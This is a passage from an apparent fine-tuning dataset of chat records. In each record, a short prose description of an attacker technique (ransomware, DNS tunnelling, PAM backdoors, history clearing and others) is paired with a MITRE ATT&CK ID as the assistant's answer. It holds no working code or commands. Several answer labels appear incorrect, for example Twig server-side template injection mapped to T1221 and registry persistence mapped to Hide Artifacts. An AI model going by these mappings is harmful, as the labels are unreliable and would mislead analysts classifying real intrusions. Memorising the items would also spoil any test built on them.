                "content": "A threat actor modifies the KernelCallbackTable in memory, causing the OS to call their code during privileged callbacks."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies registry keys to persist and disrupt normal operation."
            },
            {
                "role": "assistant",
                "content": "T1564 - Hide Artifacts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a vulnerability, the attacker deploys an encryptor that uses a public key to lock sensitive documents and exfiltrates the encryption key."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool sends fabricated IDS alerts to the monitoring system, causing analysts to dismiss true alerts."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries physically install a modified USB HID device on the target workstation to gain persistence and execute commands."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a script that uses \"cat\" to read and transmit configuration files to an external server."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a JavaScript payload through the Windows Script Host (wscript.exe)."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake legal notice email contains an attached encrypted archive; the password is provided in the email body, and the archive drops a cryptominer once extracted."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compiled a list of third‑party vendors associated with the organization by reading procurement disclosures."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan disguises its C2 traffic as legitimate FTP commands, embedding malicious payloads within standard file transfer messages."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary inserts malicious code into a serverless function via a vulnerable third‑party API integration."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Event Triggered Execution, the attacker manipulates Image File Execution Options to hijack the execution flow of a trusted executable."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses a password reset feature by hijacking the reset email, setting a new password for the target account, and then logging in."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C2 communication, random junk payloads are sent between legitimate messages to hide command traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encoded exfiltrated data using custom Base62 encoding before transmitting it over DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan exfiltrates keystroke logs by sending them as messages to a Slack incoming webhook URL."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant leverages a shared secret to encrypt its data exfiltration channel with a symmetric algorithm."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses HTTP over port 8081 to exfiltrate data, bypassing firewalls that only allow traffic on standard ports 80 and 443."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the IIS URL Rewrite module to redirect inbound traffic to a malicious payload hosted on the same server."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the GitHub API to search for files named '.env' that may contain secrets."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware encrypts all user files and appends .locked extension."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed malicious command lines in LNK files and replace the default shortcut icon with a harmless image."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses custom Bluetooth L2CAP packets to maintain a low‑profile communication channel with its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised web page hosts a drive‑by download that executes a malicious script when the victim's browser renders the page."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a botnet to send massive ICMP echo request packets to saturate the target’s network link, resulting in denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware alters /etc/pam.d/common-auth to insert a backdoor module that logs passwords before authenticating."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a post‑exploitation phase, the attacker runs InstallUtil with a custom installer class to silently launch a ransomware component."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware downgrades the encryption algorithm for encrypted files from AES‑256 to AES‑128, effectively reducing key space."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the codesign utility to resign a malicious binary with a valid Apple developer certificate, evading Gatekeeper."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor adds a malicious Form Region to Outlook, which is loaded on startup, providing persistence through Office Application Startup."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Social engineering is used to convince a target to click a link that launches a JavaScript downloader in the browser."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ a fake Facebook page to post commands that infected hosts parse."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exfiltrate data by embedding it in HTTP GET requests to a compromised web server, avoiding any encryption."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary renamed a malicious .exe file to have a .pdf extension to trick users into opening it."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker forces a Safe Mode boot via the bcdedit command, which disables many security drivers."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ the cloud provider's disaster recovery feature to restore a compromised instance to its pre‑attack state."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performed a credential dump by exploiting a vulnerability in the Windows Credential Guard, bypassing protections and stealing LSASS secrets."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ransomware encrypts user profile directories and modifies file extensions to .encrypted, then displays a ransom demand."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised host, the adversary extracts the SSH private key from the .ssh directory and reuses it to impersonate the original user on the target server."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor transmits logs to a remote web service using encrypted GET requests, with no inbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a bidirectional communication channel using a custom web service, allowing the malware to both send exfiltrated information and receive new instructions over the same protocol."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors with stolen Oracle Cloud credentials created additional compute instances to run unauthorized cryptomining software on the victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a scripted port scanner, the adversary scanned all IPs in the 192.0.2.0/22 range to locate open HTTP and SSH ports."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script modifies the HKCU\\Control Panel\\Desktop\\SCRNSAVE.EXE value to point to a compromised .exe, triggering execution on screensaver launch."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals compromise a cloud‑based web hosting service to serve ransomware payloads to visitors."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a Linux `dpkg -l` command to list all installed packages on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a rogue authentication package to intercept and harvest user credentials during logon."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script launches a flood of system calls that exhaust CPU and RAM resources on the target host."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor deploys a malicious Docker Swarm service that runs a backdoor script every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the attacker used Confluence's site export tool to download the entire wiki database for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a vulnerable internal CMS to inject defaced content into the employee directory page."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates existing at jobs and modifies a scheduled task to run a hidden payload."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary establishes a DCOM session to remotely trigger a scheduled task on the victim."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using crafted user input, the threat actor exploits a vulnerable Twig template to execute OS commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor clears command line logs by removing the file \"/root/.bash_history\" and restarting the shell session."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers establish a persistent bidirectional channel using a publicly available web API to send commands and receive data from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a misconfiguration that allows the deletion of registered MFA devices, forcing a fallback to less secure authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware sample stores its core payload inside the EXIF fields of photographs, retrieving it during infection."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script dropped a malicious transport agent into the Exchange transport service to achieve persistence and data theft."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group manipulates cloud instance metadata to inject malicious SSH keys, providing persistent access."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulates an intrusion by enabling VNC on a compromised host to maintain persistence and lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account runs a setuid program that spawns a root shell, providing the attacker with full system control."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet is used to continuously ping a laptop's Wi‑Fi adapter, causing it to overheat and shut down."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries register a malicious DLL as a COM AppCertifier to have it loaded automatically when a legitimate application starts, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages traffic signaling by altering socket filter tables to reroute specific protocol traffic, facilitating covert channel establishment."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use DNS tunneling to exfiltrate data and receive commands."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a range-based port scan on the 10.0.0.0/16 address block to map reachable services."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates counterfeit biometric templates from captured fingerprint data to bypass fingerprint authentication on laptops."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltration is performed in small batches, each below the organization’s data exfiltration alerting threshold."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By manipulating the PubPrn printer registration process, the threat actor causes the system to execute a malicious batch file during normal printing operations."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised process parses Java .properties files to retrieve embedded service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses Verclsid.exe by registering a malicious component under its CLSID, then executing Verclsid to indirectly run the component."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged a compromised service account to query a Microsoft Teams channel archive for leaked authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the registry value HKLM\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName to see if it matches a default VM name."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Criminals compromise legitimate advertising platforms to insert malicious code into banner ads displayed across multiple sites."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider accesses the organization's certificate authority database and downloads issued certificates to facilitate man‑in‑the‑middle attacks."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
